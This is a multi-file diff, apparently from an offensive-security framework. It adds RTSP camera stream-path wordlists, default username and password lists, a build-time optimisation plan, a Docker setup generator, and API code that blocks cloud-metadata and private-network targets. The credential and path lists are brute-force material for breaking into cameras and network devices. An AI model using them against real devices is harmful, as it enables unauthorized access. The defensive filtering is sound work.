mpeg4unicast
|
||||
mpg4rtsp.amp
|
||||
multicaststream
|
||||
now.mp4
|
||||
nph-h264.cgi
|
||||
nphMpeg4g726-640x
|
||||
nphMpeg4g726-640x480
|
||||
nphMpeg4nil-320x240
|
||||
onvif-mediamedia.amp
|
||||
onviflive2
|
||||
onvif1
|
||||
onvif2
|
||||
play1.sdp
|
||||
play2.sdp
|
||||
profile
|
||||
recognizer
|
||||
rtpvideo1.sdp
|
||||
rtsp_tunnel
|
||||
rtsph264
|
||||
rtsph2641080p
|
||||
stream1
|
||||
stream2
|
||||
streamingmjpeg
|
||||
synthesizer
|
||||
tcpav0_0
|
||||
user_defined
|
||||
video
|
||||
video.3gp
|
||||
video.cgi
|
||||
video.cgi?resolution=VGA
|
||||
video.cgi?resolution=vga
|
||||
video.h264
|
||||
video.mjpg
|
||||
video.mp4
|
||||
video.pro1
|
||||
video.pro2
|
||||
ucast11
|
||||
unicastc1s1live
|
||||
user.pin.mp2
|
||||
video.pro3
|
||||
videomjpg.cgi
|
||||
video1
|
||||
video1+audio1
|
||||
video2.mjpg
|
||||
videoMain
|
||||
videoinput_1:0h264_1onvif.stm
|
||||
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
|
||||
videostream.cgi?rate=0
|
||||
vis
|
||||
wfov
|
||||
@@ -0,0 +1,82 @@
|
||||
OPTIONS
|
||||
DESCRIBE
|
||||
SETUP
|
||||
PLAY
|
||||
PAUSE
|
||||
TEARDOWN
|
||||
GET_PARAMETER
|
||||
SET_PARAMETER
|
||||
REDIRECT
|
||||
ANNOUNCE
|
||||
RECORD
|
||||
FLUSH
|
||||
PING
|
||||
STOP
|
||||
RECEIVE
|
||||
START
|
||||
SHUTDOWN
|
||||
CHECK
|
||||
INIT
|
||||
TRICKPLAY
|
||||
STREAM
|
||||
OPEN
|
||||
CLOSE
|
||||
START_RECORD
|
||||
STOP_RECORD
|
||||
SCALE
|
||||
RESUME
|
||||
STANDBY
|
||||
START_PLAY
|
||||
REQUEST_KEY_FRAME
|
||||
CONFIG
|
||||
FORCE_IFRAME
|
||||
DETECT
|
||||
ALIVE
|
||||
RENEW
|
||||
LINK
|
||||
UNLINK
|
||||
SET_DELAY
|
||||
RESET
|
||||
ACTIVATE
|
||||
DEACTIVATE
|
||||
ENABLE
|
||||
DISABLE
|
||||
LOGON
|
||||
LOGOFF
|
||||
AUTH
|
||||
START_STREAM
|
||||
STOP_STREAM
|
||||
SET_TIME
|
||||
GET_TIME
|
||||
GET_STATUS
|
||||
GET_CONFIG
|
||||
SET_CONFIG
|
||||
GET_INFO
|
||||
SET_INFO
|
||||
GET_SNAPSHOT
|
||||
TRIGGER
|
||||
UPGRADE
|
||||
QUERY
|
||||
POLL
|
||||
HEARTBEAT
|
||||
REPORT
|
||||
CAMERA_CONTROL
|
||||
FOCUS
|
||||
ZOOM
|
||||
PTZ
|
||||
PAN
|
||||
TILT
|
||||
PRESET
|
||||
GOTO_PRESET
|
||||
SET_PRESET
|
||||
REMOVE_PRESET
|
||||
ADJUST
|
||||
STATUS
|
||||
RESTART
|
||||
GET_URL
|
||||
SET_URL
|
||||
LOAD
|
||||
SAVE
|
||||
REGISTER
|
||||
UNREGISTER
|
||||
METADATA
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
@@ -0,0 +1,155 @@
|
||||
# Plan: Improve Cargo Build/Run Compile Times
|
||||
|
||||
## Context
|
||||
|
||||
Clean build takes **14m 39s** (879s) across 431 compilation units. Incremental rebuilds are already fast (0.6s). The goal is to reduce clean/cold build times — critical for CI, fresh clones, and dependency updates.
|
||||
|
||||
The biggest bottlenecks (from `cargo --timings`):
|
||||
- `rustsploit` final crate: **427s** (361 source files compiled as one unit)
|
||||
- `aws-lc-sys`: **317s** (C library build for rustls crypto — pulled by reqwest & rustls)
|
||||
- `dbus`: **116s** (solely from btleplug — used by 1 file)
|
||||
- `tokio`: **105s**
|
||||
- `darling_core` + `strum_macros`: **182s** (solely from ratatui — used by 1 file)
|
||||
- `regex-automata` (×2): **175s**
|
||||
- `clap_builder`: **76s**
|
||||
- `h2`: **71s**
|
||||
- `serde_derive` + `async-trait`: **135s**
|
||||
- `libssh2-sys`: **62s** (C library for ssh2)
|
||||
- `hickory-proto`: **60s** (used by 1 file)
|
||||
|
||||
---
|
||||
|
||||
## Changes (ordered by impact / risk)
|
||||
|
||||
### 1. Configure lld linker
|
||||
**Savings: ~30-60s | Risk: None | Effort: 2 min**
|
||||
|
||||
`lld` is installed at `/usr/bin/lld` but not configured. The default GNU `ld` is slow for a 110K-line binary.
|
||||
|
||||
Create `.cargo/config.toml`:
|
||||
```toml
|
||||
[target.x86_64-unknown-linux-gnu]
|
||||
linker = "clang"
|
||||
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. Switch rustls crypto from aws-lc-rs to ring
|
||||
**Savings: ~250-280s | Risk: Low | Effort: 5 min**
|
||||
|
||||
`aws-lc-sys` (317s) compiles a massive C library via cmake. It's pulled in because `rustls 0.23` defaults to `aws-lc-rs`. The `ring` backend is functionally equivalent and compiles in ~30-50s.
|
||||
|
||||
`cargo tree -i aws-lc-sys` confirms the chain: `aws-lc-sys → aws-lc-rs → rustls → {reqwest, tokio-rustls, rustsploit}`.
|
||||
|
||||
In `Cargo.toml`:
|
||||
```toml
|
||||
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
|
||||
```
|
||||
|
||||
No source code changes — `ring` and `aws-lc-rs` expose the same `rustls::crypto::CryptoProvider` API.
|
||||
|
||||
**File:** `Cargo.toml` line 50
|
||||
|
||||
---
|
||||
|
||||
### 3. Feature-gate btleplug + ratatui + crossterm
|
||||
**Savings: ~300s | Risk: Medium | Effort: 30 min**
|
||||
|
||||
These three crates are used by exactly **one file**: `src/modules/exploits/bluetooth/wpair.rs`. Their transitive cost:
|
||||
|
||||
| Dep chain | Compile time |
|
||||
|-----------|-------------|
|
||||
| btleplug → dbus | 116s |
|
||||
| btleplug → async-trait | 68s |
|
||||
| ratatui → strum_macros | 85s |
|
||||
| ratatui → darling_core | 97s |
|
||||
| ratatui → ratatui-core | 42s |
|
||||
| crossterm | ~15s |
|
||||
|
||||
Confirmed via `cargo tree -i dbus`, `cargo tree -i strum_macros`, `cargo tree -i darling_core` — all solely from btleplug/ratatui.
|
||||
|
||||
**Changes:**
|
||||
|
||||
`Cargo.toml` — add features section, make deps optional:
|
||||
```toml
|
||||
[features]
|
||||
default = []
|
||||
bluetooth = ["dep:btleplug", "dep:ratatui", "dep:crossterm"]
|
||||
```
|
||||
|
||||
```toml
|
||||
btleplug = { version = "0.12", optional = true }
|
||||
ratatui = { version = "0.30", optional = true }
|
||||
crossterm = { version = "0.29", optional = true }
|
||||
```
|
||||
|
||||
`src/modules/exploits/bluetooth/mod.rs` — gate the module:
|
||||
```rust
|
||||
#[cfg(feature = "bluetooth")]
|
||||
pub mod wpair;
|
||||
```
|
||||
|
||||
`build.rs` — skip bluetooth dir when feature is absent. In `generate_dispatch()` (or the `find_modules` walk), check `env::var("CARGO_FEATURE_BLUETOOTH")` and skip paths containing `bluetooth/` when it's not set. This prevents the generated dispatch from referencing `wpair::run` when the module doesn't exist.
|
||||
|
||||
When bluetooth is needed: `cargo build --features bluetooth` or `cargo run --features bluetooth`.
|
||||
|
||||
---
|
||||
|
||||
### 4. Clean up tokio feature flags
|
||||
**Savings: ~5-10s | Risk: None | Effort: 2 min**
|
||||
|
||||
Current line is redundant — `"full"` already includes every named feature plus extras like `test-util`:
|
||||
```toml
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
```
|
||||
|
||||
Replace with only what's actually used:
|
||||
```toml
|
||||
tokio = { version = "1.51", features = ["rt-multi-thread", "macros", "net", "io-util", "io-std", "fs", "process", "sync", "time", "signal"] }
|
||||
```
|
||||
|
||||
**File:** `Cargo.toml` line 20
|
||||
|
||||
---
|
||||
|
||||
### 5. Feature-gate hickory DNS
|
||||
**Savings: ~60s | Risk: Low | Effort: 15 min**
|
||||
|
||||
`hickory-proto` (60s) + `hickory-client` are used by exactly **one file**: `src/modules/scanners/dns_recursion.rs`.
|
||||
|
||||
```toml
|
||||
[features]
|
||||
dns = ["dep:hickory-client", "dep:hickory-proto"]
|
||||
```
|
||||
|
||||
```toml
|
||||
hickory-client = { version = "0.25", optional = true }
|
||||
hickory-proto = { version = "0.25", optional = true }
|
||||
```
|
||||
|
||||
Gate in the scanner's `mod.rs` with `#[cfg(feature = "dns")]` and update `build.rs` to skip the module when the feature is absent.
|
||||
|
||||
---
|
||||
|
||||
## Files to modify
|
||||
|
||||
| File | Changes |
|
||||
|------|---------|
|
||||
| `.cargo/config.toml` | **Create** — lld linker config |
|
||||
| `Cargo.toml` | rustls features, optional deps, `[features]` section, tokio cleanup |
|
||||
| `build.rs` | Skip feature-gated module dirs during code generation |
|
||||
| `src/modules/exploits/bluetooth/mod.rs` | `#[cfg(feature = "bluetooth")]` gate |
|
||||
| Scanner mod.rs for dns_recursion | `#[cfg(feature = "dns")]` gate |
|
||||
|
||||
---
|
||||
|
||||
## Verification
|
||||
|
||||
1. `cargo clean && cargo build --timings 2>&1` — compare total time to baseline 879s
|
||||
2. `cargo build --features bluetooth,dns --timings` — verify full build still works
|
||||
3. `cargo run -- --help` — verify binary starts correctly
|
||||
4. `cargo run` — enter shell, run a non-bluetooth module (e.g. `use scanners/port_scanner`, `set target 127.0.0.1`, `run`) to confirm dispatch works
|
||||
5. `cargo build --features bluetooth` — verify bluetooth module compiles and appears in `list modules`
|
||||
|
||||
**Expected result:** Clean build drops from ~879s to ~250-350s (60-70% reduction), with changes 1-3 providing the bulk of the savings.
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 367 KiB |
@@ -0,0 +1,327 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Interactive generator for RustSploit Docker-Compose stack.
|
||||
Produces:
|
||||
docker-compose.rustsploit.yml (with embedded Dockerfile)
|
||||
.env.rustsploit-docker
|
||||
and prints the command to bring the stack up.
|
||||
|
||||
This variant includes runtime fixes to avoid permission-denied on /app/data
|
||||
and ensures the container starts as root briefly to fix ownership, then
|
||||
executes the rustsploit binary as the less-privileged `rustsploit` user.
|
||||
"""
|
||||
import secrets
|
||||
import os
|
||||
import stat
|
||||
import socket
|
||||
import ipaddress
|
||||
import subprocess
|
||||
import pwd
|
||||
from pathlib import Path
|
||||
|
||||
# Fix: Use parent.parent since script is in scripts/ directory
|
||||
repo = Path(__file__).resolve().parent.parent
|
||||
if not (repo / "Cargo.toml").exists():
|
||||
print("[-] Error: Run this script from the RustSploit repository root.")
|
||||
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
|
||||
exit(1)
|
||||
|
||||
# ---------- Helper functions ----------
|
||||
def ask(prompt, default=None, validator=None):
|
||||
"""Interactive prompt with validation."""
|
||||
suffix = f" [{default}]" if default is not None else ""
|
||||
while True:
|
||||
val = input(f"{prompt}{suffix}: ").strip()
|
||||
if not val and default is not None:
|
||||
val = default
|
||||
if not val:
|
||||
print("Value cannot be empty.")
|
||||
continue
|
||||
if validator:
|
||||
try:
|
||||
validator(val)
|
||||
except ValueError as e:
|
||||
print(f"Invalid input: {e}")
|
||||
continue
|
||||
return val
|
||||
|
||||
|
||||
def ask_yes_no(prompt, default=True):
|
||||
"""Yes/No prompt."""
|
||||
hint = "Y/n" if default else "y/N"
|
||||
while True:
|
||||
val = input(f"{prompt} ({hint}): ").strip().lower()
|
||||
if not val:
|
||||
return default
|
||||
if val in ("y", "yes"):
|
||||
return True
|
||||
if val in ("n", "no"):
|
||||
return False
|
||||
print("Please answer 'y' or 'n'.")
|
||||
|
||||
|
||||
def validate_host(host):
|
||||
"""Validate host/IP address."""
|
||||
host = host.strip()
|
||||
if not host:
|
||||
raise ValueError("Host cannot be empty")
|
||||
# Allow localhost
|
||||
if host == "localhost":
|
||||
return
|
||||
# Try to parse as IP
|
||||
try:
|
||||
ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Not a valid IP, check if it's a valid hostname
|
||||
if len(host) > 253:
|
||||
raise ValueError("Hostname too long (max 253 chars)")
|
||||
if any(c.isspace() for c in host):
|
||||
raise ValueError("Hostname cannot contain whitespace")
|
||||
|
||||
|
||||
def validate_port(port_str):
|
||||
"""Validate port number."""
|
||||
try:
|
||||
port = int(port_str)
|
||||
if not (1 <= port <= 65535):
|
||||
raise ValueError("Port must be between 1 and 65535")
|
||||
except ValueError as e:
|
||||
if "invalid literal" in str(e):
|
||||
raise ValueError("Port must be a number")
|
||||
raise
|
||||
|
||||
|
||||
def detect_private_ip():
|
||||
"""Try to detect private IP address."""
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
|
||||
sock.connect(("192.0.2.1", 80))
|
||||
return sock.getsockname()[0]
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
# ---------- Interactive prompts ----------
|
||||
print("\n[+] RustSploit Docker Setup\n")
|
||||
|
||||
# Host selection
|
||||
print("Select bind address:")
|
||||
print(" [1] 127.0.0.1 (localhost only)")
|
||||
print(" [2] 0.0.0.0 (all interfaces)")
|
||||
print(" [3] Private LAN IP (auto-detect)")
|
||||
print(" [4] Custom IP/hostname")
|
||||
|
||||
choice = ask("Choice", "2")
|
||||
if choice == "1":
|
||||
host = "127.0.0.1"
|
||||
elif choice == "2":
|
||||
host = "0.0.0.0"
|
||||
elif choice == "3":
|
||||
detected = detect_private_ip()
|
||||
if detected:
|
||||
print(f"[+] Detected private IP: {detected}")
|
||||
use_detected = ask_yes_no("Use detected IP?", True)
|
||||
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
print("[-] Could not auto-detect private IP")
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
|
||||
# Port
|
||||
# Default changed to 9000 as this is a common API port and matches user's prior usage
|
||||
port_str = ask("Host port to expose", "9000", validator=validate_port)
|
||||
port = int(port_str)
|
||||
|
||||
# API Key
|
||||
print("\n[+] API Key Configuration")
|
||||
generate_key = ask_yes_no("Generate random API key?", True)
|
||||
if generate_key:
|
||||
api_key = secrets.token_urlsafe(32)
|
||||
print(f"[+] Generated API key: {api_key}")
|
||||
else:
|
||||
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
|
||||
|
||||
# Hardening
|
||||
print("\n[+] Security Hardening")
|
||||
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
|
||||
ip_limit = 10
|
||||
if harden:
|
||||
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
|
||||
ip_limit = int(ip_limit_str)
|
||||
|
||||
# ---------- File generation ----------
|
||||
env_file = ".env.rustsploit-docker"
|
||||
compose_file = "docker-compose.rustsploit.yml"
|
||||
|
||||
env_path = repo / env_file
|
||||
compose_path = repo / compose_file
|
||||
|
||||
# Check for existing .env file
|
||||
if env_path.exists():
|
||||
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite .env file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# Check for existing docker-compose file
|
||||
if compose_path.exists():
|
||||
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite docker-compose file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# ---- .env ----
|
||||
container_interface = f"0.0.0.0:{port}"
|
||||
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
|
||||
RUSTSPLOIT_API_KEY={api_key}
|
||||
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
|
||||
RUSTSPLOIT_IP_LIMIT={ip_limit}
|
||||
"""
|
||||
env_path.write_text(env_content)
|
||||
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
|
||||
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
|
||||
print(f"\n[+] Generated: {env_path}")
|
||||
|
||||
# Fix ownership if file was created with sudo (owned by root)
|
||||
if env_path.stat().st_uid == 0:
|
||||
print("[!] File was created as root. Fixing ownership...")
|
||||
try:
|
||||
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
|
||||
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
|
||||
if not user:
|
||||
user = pwd.getpwuid(os.getuid()).pw_name
|
||||
|
||||
# If we're running as root (via sudo), we can chown directly
|
||||
if os.geteuid() == 0:
|
||||
user_info = pwd.getpwnam(user)
|
||||
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
else:
|
||||
# Not root, need to use sudo
|
||||
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
|
||||
print(f"[!] Warning: Could not automatically fix ownership: {e}")
|
||||
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
|
||||
|
||||
# ---- docker-compose.yml with embedded Dockerfile ----
|
||||
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
|
||||
# /app/data at container startup, then it drops privileges and executes the
|
||||
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
|
||||
|
||||
dockerfile_content = """FROM rust:1.83-slim AS builder
|
||||
WORKDIR /workspace
|
||||
ENV CARGO_TERM_COLOR=always
|
||||
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends \\
|
||||
build-essential \\
|
||||
pkg-config \\
|
||||
libssl-dev \\
|
||||
libclang-dev \\
|
||||
libpcap-dev \\
|
||||
libsqlite3-dev \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY Cargo.toml ./
|
||||
COPY Cargo.lock* ./
|
||||
|
||||
COPY . .
|
||||
RUN cargo build --release --bin rustsploit
|
||||
|
||||
FROM debian:bookworm-slim AS serve
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# create non-root user
|
||||
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
|
||||
WORKDIR /app
|
||||
|
||||
# create data dir (image-level), but runtime entrypoint will chown the volume target
|
||||
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
|
||||
|
||||
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
|
||||
|
||||
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
|
||||
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
|
||||
echo 'set -e' >> /entrypoint.sh && \\
|
||||
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
|
||||
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
|
||||
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
|
||||
echo ' fi' >> /entrypoint.sh && \\
|
||||
echo 'fi' >> /entrypoint.sh && \\
|
||||
# ensure data dir exists and is owned by rustsploit so that non-root process can write
|
||||
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
|
||||
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
|
||||
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
|
||||
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
|
||||
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
|
||||
# finally, execute rustsploit as the rustsploit user using runuser
|
||||
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
|
||||
chmod +x /entrypoint.sh && \\
|
||||
chown root:root /entrypoint.sh && \\
|
||||
chown root:root /usr/local/bin/rustsploit
|
||||
|
||||
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
|
||||
EXPOSE 8080
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
"""
|
||||
|
||||
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
|
||||
dockerfile_path = repo / "Dockerfile.rustsploit"
|
||||
dockerfile_path.write_text(dockerfile_content)
|
||||
print(f"[+] Generated: {dockerfile_path}")
|
||||
|
||||
# Generate docker-compose.yml
|
||||
compose_content = f"""# Generated by {Path(__file__).name}
|
||||
services:
|
||||
rustsploit-api:
|
||||
container_name: rustsploit-api
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.rustsploit
|
||||
target: serve
|
||||
restart: unless-stopped
|
||||
env_file:
|
||||
- {env_file}
|
||||
ports:
|
||||
- "{host}:{port}:{port}"
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
tmpfs:
|
||||
- /tmp
|
||||
volumes:
|
||||
- rustsploit-data:/app/data
|
||||
|
||||
volumes:
|
||||
rustsploit-data:
|
||||
name: rustsploit-data
|
||||
"""
|
||||
|
||||
compose_path.write_text(compose_content)
|
||||
print(f"[+] Generated: {compose_path}")
|
||||
|
||||
print("\n[+] Setup complete!")
|
||||
print("\n[+] Generated files:")
|
||||
print(f" - {env_path.relative_to(repo)}")
|
||||
print(f" - {compose_path.relative_to(repo)}")
|
||||
print(f" - {dockerfile_path.relative_to(repo)}")
|
||||
print(f"\n[!] Note: Run docker compose commands from the repository root:")
|
||||
print(f" cd {repo}")
|
||||
print("\n[+] To start the stack, run:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} up -d --build")
|
||||
print("\n[+] To view logs:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} logs -f")
|
||||
print("\n[+] To stop the stack:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} down")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} down")
|
||||
+351
@@ -0,0 +1,351 @@
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use axum::{
|
||||
response::Json,
|
||||
routing::{get, post},
|
||||
Router,
|
||||
};
|
||||
use colored::*;
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
|
||||
// ─── Validation Helpers ─────────────────────────────────────────────
|
||||
|
||||
pub(crate) fn validate_module_name(module: &str) -> bool {
|
||||
!module.is_empty()
|
||||
&& module.len() <= 256
|
||||
&& module.chars().all(|c| matches!(c, 'a'..='z' | '0'..='9' | '/' | '_' | '-'))
|
||||
}
|
||||
|
||||
pub(crate) fn validate_target(target: &str) -> bool {
|
||||
!target.is_empty() && target.len() <= 2048 && !target.chars().any(|c| c.is_control())
|
||||
}
|
||||
|
||||
pub(crate) fn is_blocked_target(target: &str) -> bool {
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
if MASS_SCAN_KEYWORDS.contains(&target) {
|
||||
return false;
|
||||
}
|
||||
|
||||
let lower = target.to_lowercase();
|
||||
|
||||
// Try proper URL parsing first — handles @, port, scheme correctly
|
||||
let host_no_port = if let Ok(parsed) = url::Url::parse(&lower) {
|
||||
// Percent-decode the host and check it
|
||||
parsed.host_str().map(|h| {
|
||||
percent_decode_host(h)
|
||||
})
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// If URL parsing succeeded, check the extracted host
|
||||
if let Some(ref host) = host_no_port {
|
||||
if check_blocked_hostname(host) {
|
||||
return true;
|
||||
}
|
||||
if let Ok(ip) = host.parse::<std::net::IpAddr>() {
|
||||
return is_blocked_ip(ip);
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: manual extraction for bare hostnames/IPs (no scheme)
|
||||
let host_part = lower
|
||||
.strip_prefix("http://")
|
||||
.or_else(|| lower.strip_prefix("https://"))
|
||||
.or_else(|| lower.strip_prefix("ftp://"))
|
||||
.or_else(|| lower.strip_prefix("gopher://"))
|
||||
.unwrap_or(&lower);
|
||||
// Strip userinfo (everything before @)
|
||||
let host_part = if let Some(at_pos) = host_part.find('@') {
|
||||
&host_part[at_pos + 1..]
|
||||
} else {
|
||||
host_part
|
||||
};
|
||||
let host_part = host_part.split('/').next().unwrap_or(host_part);
|
||||
let host_part = host_part.split('?').next().unwrap_or(host_part);
|
||||
let host_part = host_part.split('#').next().unwrap_or(host_part);
|
||||
|
||||
// Strip port from host
|
||||
let bare_host: &str = if host_part.starts_with('[') {
|
||||
host_part
|
||||
.trim_start_matches('[')
|
||||
.split(']')
|
||||
.next()
|
||||
.unwrap_or(host_part)
|
||||
} else if host_part.matches(':').count() == 1 {
|
||||
host_part.split(':').next().unwrap_or(host_part)
|
||||
} else {
|
||||
host_part
|
||||
};
|
||||
|
||||
let decoded = percent_decode_host(bare_host);
|
||||
|
||||
if check_blocked_hostname(&decoded) {
|
||||
return true;
|
||||
}
|
||||
if let Ok(ip) = decoded.parse::<std::net::IpAddr>() {
|
||||
return is_blocked_ip(ip);
|
||||
}
|
||||
if let Ok(ip) = bare_host.parse::<std::net::IpAddr>() {
|
||||
return is_blocked_ip(ip);
|
||||
}
|
||||
|
||||
// Block file:// scheme entirely
|
||||
if lower.starts_with("file://") {
|
||||
return true;
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
fn percent_decode_host(host: &str) -> String {
|
||||
let mut result = String::with_capacity(host.len());
|
||||
let bytes = host.as_bytes();
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
if bytes[i] == b'%' && i + 2 < bytes.len() {
|
||||
if let (Some(hi), Some(lo)) = (
|
||||
hex_val(bytes[i + 1]),
|
||||
hex_val(bytes[i + 2]),
|
||||
) {
|
||||
result.push((hi << 4 | lo) as char);
|
||||
i += 3;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
result.push(bytes[i] as char);
|
||||
i += 1;
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
fn hex_val(b: u8) -> Option<u8> {
|
||||
match b {
|
||||
b'0'..=b'9' => Some(b - b'0'),
|
||||
b'a'..=b'f' => Some(b - b'a' + 10),
|
||||
b'A'..=b'F' => Some(b - b'A' + 10),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn check_blocked_hostname(host: &str) -> bool {
|
||||
const BLOCKED_HOST_SUFFIXES: &[&str] = &[
|
||||
"metadata.google.internal",
|
||||
"metadata.goog",
|
||||
"metadata.internal",
|
||||
"metadata.azure.com",
|
||||
"metadata.oraclecloud.com",
|
||||
];
|
||||
const BLOCKED_HOST_EXACT: &[&str] = &[
|
||||
"metadata",
|
||||
"instance-data",
|
||||
];
|
||||
const BLOCKED_WILDCARD_SUFFIXES: &[&str] = &[
|
||||
".sslip.io",
|
||||
".nip.io",
|
||||
".xip.io",
|
||||
".traefik.me",
|
||||
".local.gd",
|
||||
];
|
||||
|
||||
for suffix in BLOCKED_HOST_SUFFIXES {
|
||||
if host == *suffix || host.ends_with(&format!(".{}", suffix)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for exact in BLOCKED_HOST_EXACT {
|
||||
if host == *exact {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for wildcard in BLOCKED_WILDCARD_SUFFIXES {
|
||||
if host.ends_with(wildcard) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn is_blocked_ip(ip: std::net::IpAddr) -> bool {
|
||||
match ip {
|
||||
std::net::IpAddr::V6(v6) => {
|
||||
if v6.is_loopback() { return true; }
|
||||
let segs = v6.segments();
|
||||
if segs[0] == 0xfd00 && segs[1] == 0x0ec2 { return true; }
|
||||
if segs[0] & 0xfe00 == 0xfc00 { return true; }
|
||||
if segs[0] & 0xffc0 == 0xfe80 { return true; }
|
||||
if let Some(v4) = v6.to_ipv4_mapped() {
|
||||
return is_blocked_ipv4(v4);
|
||||
}
|
||||
false
|
||||
}
|
